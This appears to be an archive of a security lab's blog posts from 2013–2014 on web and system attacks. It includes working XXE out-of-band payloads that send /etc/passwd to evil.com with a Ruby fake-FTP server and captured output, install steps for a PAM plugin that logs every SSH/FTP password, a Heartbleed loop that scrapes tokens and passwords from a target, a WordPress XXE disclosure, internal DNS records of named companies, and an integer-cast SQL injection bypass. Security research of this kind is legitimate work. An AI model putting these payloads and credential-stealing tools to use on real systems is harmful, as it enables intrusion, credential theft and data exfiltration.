пятница, 5 сентября 2014 г.

WordPress 3.9.2- XXE through media upload (WAV ID3 tag)

Recently WordPress patched XXE vulnerability http://wordpress.org/news/2014/08/wordpress-3-9-2/ which were found during @ONsec_lab security audit of another one web-application.

Now time to describe this vulnerability in details!

The reason is GetID3 library which included into WordPress by default:
./wp-includes/ID3/getid3.lib.php:
521     public static function XML2array($XMLstring) {
522             if (function_exists('simplexml_load_string')) {
523                     if (function_exists('get_object_vars')) {
524                             $XMLobject = simplexml_load_string($XMLstring);

Requires PHP 5.5.0- (simple_xml was patched to disable external entities since ~5.5.0)

To use this vulnerability attacker must have privileges to upload Media (editor privileges for example).

PoC is available at our GitHub repo: https://github.com/ONsec-Lab/scripts/blob/master/getid3-xxe.wav

Timeline:
5/12/14 vendor notified
5/15/14 vulnerability confirmed
8/06/14 fixed at version 3.9.2

пятница, 18 июля 2014 г.

PAM_steal plugin released

Typically pentest’s attack can be presented by the following schema:
perimeter -> command execution -> privileges escalation -> ...
The next step for pentesters is to gain privileges at other machines.
For example, it can be done by stealing credentials (one of many methods).
Passwords at local machine will be hashed and it's not so good to crack it due to the time.

SSH MITM (tool: http://www.signedness.org/tools/mitm-ssh.tgz) is a good one. It should be noticed though that passwords can be shared between many services and thus is also necessary.

PAM (Pluggable Authentification Module) provide dynamic authorization for applications and services in a Linux system. Our password logger plugin for PAM can be found here: https://github.com/ONsec-Lab/scripts/tree/master/pam_steal

This is a good point after rooting machines during penetration tests.

Install process:
./make.sh
vim /etc/pam.d/common-auth
add "auth required pam_steal.so" into it
Then check /tmp/.steal.log - all FTP/SSH and other PAM-based daemon's passwords will be there!

понедельник, 23 июня 2014 г.

XXE OOB exploitation at Java 1.7+

Java since 1.7 patched gopher:// schema (thanks A.Polyakov for that https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf)
But also patched HttpClient class.

Now Java doesn't convert multiline URIs by urlencode to valid one.

This fix produce "java.net.MalformedURLException: Illegal character in URL" exception when URL contains new lines and other command characters.

XXE payload:
<!ENTITY % b SYSTEM "file:///tmp/">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'http://evil.com:8000/%b;'>">
%c;
XXE OOB attack technique first discovered at 2009 by T.Terada:
And rediscovered later by T.Yunusov and A.Osipov with additional features such as attribute entities

Fill the difference:

Java 1.7- :
GET /.font-unix%0A.ICE-unix%0A.X11-unix%0AaprmovGRx%0Aasd%0AeTSrv%0Ahosts%0Alaunchd-277.sloRFO%0Alaunchd-492.s4PJbX%0Alaunchd-5486.ocD8IC%0Alaunchd-9800.eUprC8%0Alaunch-j7JvAs%0Alaunch-L6bUiQ%0Alaunch-WELXDr%0Apasswd%0Axxe.xml%0A HTTP/1.1
User-Agent: Java/1.6.0_65
...

Java 1.7+:
nothing!
Stack trace:
java.net.MalformedURLException: Illegal character in URL
at sun.net.www.http.HttpClient.getURLFile(HttpClient.java:583)
at sun.net.www.protocol.http.HttpURLConnection.getRequestURI(HttpURLConnection.java:2298)
at sun.net.www.protocol.http.HttpURLConnection.writeRequests(HttpURLConnection.java:513)
...
at com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(XMLParser.java:141)
at com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(DOMParser.java:243)
at com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(DocumentBuilderImpl.java:347)

This makes XXE OOB exploitation impossible.

We met this problem at security audit and solve it by using FTP and hacker's logic :) The main trick is that Java still have no URI validation in case of FTP.

Each line from multiline FTP URI will be requested as separate directory by CWD command. Each "/" char at line will be also separated to different CWD request.

For exploit it you need emulate FTP server of course.

require 'socket'
server = TCPServer.new 8000 
loop do
  Thread.start(server.accept) do |client|
    puts "New client connected"
    data = ""
    client.puts("220 xxe-ftp-server")
    loop {
        req = client.gets()
        puts "< "+req
        if req.include? "USER"
            client.puts("331 password please - version check")
        else
            puts "> 230 more data please!"
            client.puts("230 more data please!")
        end
    }
  end
end

You can also put payload into username or password like this:
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://%b;:aaa@evil.com:8000/'>">
or
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://aaa:%b;@evil.com:8000/'>">
And retrieve all data in only one request. But in this case you can not read files with ":" char (such as /etc/passwd) because:
java.net.MalformedURLException: For input string: "x:0:0:root:"
at java.net.URL.<init>(URL.java:619)
at java.net.URL.<init>(URL.java:482)
at java.net.URL.<init>(URL.java:431)

Finally got something like this: 

XXE payload: 
<?xml version="1.0"?>
<!DOCTYPE a [
   <!ENTITY % asd SYSTEM "http://evil.com/ext.dtd"> 
   %asd; 
   %rrr; 
]>
<a></a>
External DTD payload (hosted at http://evil.com/ext.dtd):
<!ENTITY % b SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://evil.com:8000/%b;'>">
$ ruby xxe-ftp-server.rb
New client connected
< USER anonymous
< PASS Java1.7.0_45@
> 230 more data please!
< TYPE I
> 230 more data please!
< CWD root:x:0:0:root:
> 230 more data please!
< CWD root:
> 230 more data please!
< CWD bin
> 230 more data please!
< CWD bash
> 230 more data please!
< daemon:x:1:1:daemon:
...
root:x:0:0:root:/root:/bin/bash -----/*slash separation*/-----> root:x:0:0:root:   root:   bin   bash

вторник, 8 апреля 2014 г.

Memory dumper based on CVE-2014-0160

You already know about this bug of course:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160

Just easy patch to original PoC: https://gist.github.com/ixs/10116537

 60 def hexdump(s):
 61   r = r"((sid|token|sess|pass|basic|oauth).*)"
 62   m = re.findall(r,s)
 63   print m
 64   sys.exit()
And some bash now:
~$ while true; do ./ssltest.py company.com >> regexped; done


We have plans to rewrite this PoC to use only one socket for multiple dumps.

четверг, 12 сентября 2013 г.

The mobile application's role in web application security audits

Modern web projects have also mobile applications.
In terms of client-side model, mobile application is a client, like a browser.
Server is web application: PHP/Java/RoR or another platform's code.

Mobile applications interact with the server just like a browser, because HTTP(S) protocol are very common.

Thus, when we talk about security audit of web application as a server application code, we must also carry out a security checks of the parts that interact with mobile applications, not just those which interact with browsers.

In order to understand how mobile application communicates with application server, which sends requests (which uses urls, parameters), it is necessary to explore mobile app.

The most simple and reliable way for this purpose is to intercept the traffic on the same network that mobile application uses to send requests to application server. This may be a wi-fi or your network card, if the application is run in the emulator.

But recently, we have found another easier way to collect references left in the code by developers of mobile applications. This method is an excellent complement to the first option with the interception of traffic.

Free online service hackapp.com allows you to perform a safety check of mobile apps for iOS including collecting links within mobile applications.

A few examples:
http://hackapp.com/open#8f311762063d536ca6353b3b5ab4d02d
Samsung mobile print application:


This information also can help auditors during penetrations testing.

But sometimes this service surprises us with a startling discovery, for example, private keys!
http://hackapp.com/open#e9e5b174f4955cb4993fbf3393460005
Samsung (again) SmartTangoTalk application:
Enjoy!

вторник, 2 июля 2013 г.

Insecure DNS records in top web projects

Last month ONsec_lab had discovered and reported about the same DNS issue in top web projects: live.com, facebook.com, yahoo.com, nokia.com, paypal.com, baidu.com, att.com and many others.

DNS linked few *.COMPANY.com domains to IP which doesn't belong to 
COMPANY.

These addressed from Private Address Space 10/8, 172.16/12, 192.168/16 (look at http://tools.ietf.org/html/rfc1918, https://en.wikipedia.org/wiki/IPv4) and localhost 127.0.0.1.

Basically, this may be interpreted as information leakage from intranet of COMPANY. But it's obvious :)

This server-side issue can be exploited as a client-side vulnerability when attacker and victim are in the same private network:

I.e. local.COMPANY.com have A-record to 10.0.0.123

1. Attacker connects to any public network with address space from 10.0.0.0/8 or other which linked to any local.COMPANY.com domain.
2. Attacker adds to network interface on his computer address from A-record which linked to private address 10.0.0.123.
3. Attacker publishes on any resource link to local.COMPANY.com (for example - banner on any news-site). Like as classic CSRF/reflected XSS attack.
4. All users, who connected to the same network (1) and see banner (3) will make request to http://local.COMPANY.com, which actually will be made to computer of attacker. Browser will  send cookies for *.COMPAMY.com in this request, because user make request to local.live.com. 

In this case malicious user steal cookies.

What about protection? 

Simple way is protect session cookies by Secure flag. This is facebook way. But anyway attacker can steal others non-Secure cookies. Also attacker in this case can do logout attack, because browsers have only 4Kb memory for all cookies which stored at all *.COMPANY.com domains. For this reason attacker can set many new cookies from local.COMPANY.com to delete all cookies from *.COMPANY.com and COMPANY.com scope.

Some examples:

./ccbill.com:192.168.169.170 backend.ccbill.com
./ccbill.com:192.168.13.127 internal.ccbill.com

./facebook.com:10.56.0.51 atlas.facebook.com
./facebook.com:10.56.0.69 hr.facebook.com
./facebook.com:10.60.0.29 lists.facebook.com
./facebook.com:10.170.0.4 ntp.facebook.com
./facebook.com:10.78.0.10 ntp.facebook.com
./facebook.com:10.60.0.195 sb.facebook.com
./facebook.com:10.170.0.4 time.facebook.com
./facebook.com:10.78.0.10 time.facebook.com
./facebook.com:10.56.0.7 xmail.facebook.com

./live.com:10.245.6.27 monitoring.live.com

./nokia.txt:10.113.1.11 guest.nokia.com
./nokia.txt:172.21.214.214 linux.nokia.com

./paypal.com:10.190.3.55 mx.paypal.com

./yahoo.com:10.72.164.31 i.yahoo.com
./yahoo.com:10.80.80.184 na.yahoo.com

./baidu.com:10.11.252.74 accounts.baidu.com
./baidu.com:10.81.7.51 ba.baidu.com
./baidu.com:172.18.100.200 bd.baidu.com
./baidu.com:10.36.155.42 bh.baidu.com
./baidu.com:10.36.160.22 bh.baidu.com
./baidu.com:10.38.19.40 bh.baidu.com
./baidu.com:10.42.7.24 bi.baidu.com
./baidu.com:10.44.64.20 bugs.baidu.com
./baidu.com:10.81.11.67 cd.baidu.com
./baidu.com:10.38.157.31 cdn.baidu.com
./baidu.com:10.26.7.93 cms.baidu.com
./baidu.com:10.26.137.29 com.baidu.com
./baidu.com:10.36.7.99 crm.baidu.com
./baidu.com:10.26.7.125 crm.baidu.com
./baidu.com:10.23.248.28 ct.baidu.com
./baidu.com:10.42.243.12 dc.baidu.com
./baidu.com:10.237.2.83 def.baidu.com
./baidu.com:10.65.211.94 dt.baidu.com
./baidu.com:172.18.0.180 ecom.baidu.com
./baidu.com:10.42.7.18 erp.baidu.com
./baidu.com:10.42.224.22 flow.baidu.com
./baidu.com:172.22.1.88 fw.baidu.com
./baidu.com:172.22.31.92 ga.baidu.com
./baidu.com:10.46.52.12 global.baidu.com
./baidu.com:10.42.58.42 global.baidu.com
./baidu.com:172.16.1.2 gw1.baidu.com
./baidu.com:10.240.31.12 h.baidu.com
./baidu.com:10.81.12.102 iq.baidu.com
./baidu.com:10.42.7.203 it.baidu.com
./baidu.com:10.42.7.54 km.baidu.com
./baidu.com:10.23.249.173 kr.baidu.com
./baidu.com:10.65.18.107 launch.baidu.com
./baidu.com:10.36.23.62 live.baidu.com
./baidu.com:10.26.40.19 live.baidu.com
./baidu.com:10.81.45.245 log.baidu.com
./baidu.com:10.26.39.14 log.baidu.com
./baidu.com:10.23.65.13 log02.baidu.com
./baidu.com:10.11.250.228 mirror.baidu.com
./baidu.com:10.26.140.39 ml.baidu.com
./baidu.com:10.81.15.138 monitor.baidu.com
./baidu.com:10.42.7.232 nl.baidu.com
./baidu.com:10.240.31.12 o.baidu.com
./baidu.com:10.26.3.48 ocean.baidu.com
./baidu.com:10.23.240.246 openview.baidu.com
./baidu.com:10.23.65.19 pe.baidu.com
./baidu.com:172.22.1.82 portal.baidu.com
./baidu.com:10.11.0.12 r2.baidu.com
./baidu.com:10.32.10.74 ra.baidu.com
./baidu.com:10.44.31.17 se.baidu.com
./baidu.com:10.42.7.217 security.baidu.com
./baidu.com:10.65.25.83 serv.baidu.com
./baidu.com:10.26.52.14 sms.baidu.com
./baidu.com:10.65.18.22 speed.baidu.com
./baidu.com:10.42.7.217 ssl.baidu.com
./baidu.com:10.46.28.36 tiger.baidu.com
./baidu.com:10.44.66.5 tn.baidu.com
./baidu.com:10.81.11.241 tool.baidu.com
./baidu.com:10.81.11.241 tools.baidu.com
./baidu.com:10.23.1.162 training.baidu.com
./baidu.com:10.23.248.87 ut.baidu.com
./baidu.com:10.48.40.58 va.baidu.com
./baidu.com:10.48.30.87 web.baidu.com
./baidu.com:10.65.19.212 win.baidu.com
./baidu.com:10.42.8.38 work.baidu.com
./baidu.com:10.81.211.74 ws.baidu.com

понедельник, 13 мая 2013 г.

When Integer cannot protect you from SQL injection?

It is assumed that the cast user data to a numeric type is fully protected from SQL injection vulnerabilities.

Look at simple example:

$action = $_GET['do'];
$r=$db->query("select role".((int)$action)." from users where id=".((int)$_SESSION['user_id']));
if($row=$r->fetchArray()){
        if((int)$row[0]!==1){
                die('permission denied');
        }else{
                doAction($action);
        }
}


This code looks like SQLi protected, but it is not true.

Do not forget two obvious facts:
1. Minus is SQL operatator
2. Numbers can be negative

Now its easy to understand SQL logic in this case (w/o injection):

select role0 from users where id=0

And SQL injection attack vector in this case:

select role-1 from users where id=0


In our example attacker can bypass auth.
This example requires tables role and role0 both in database.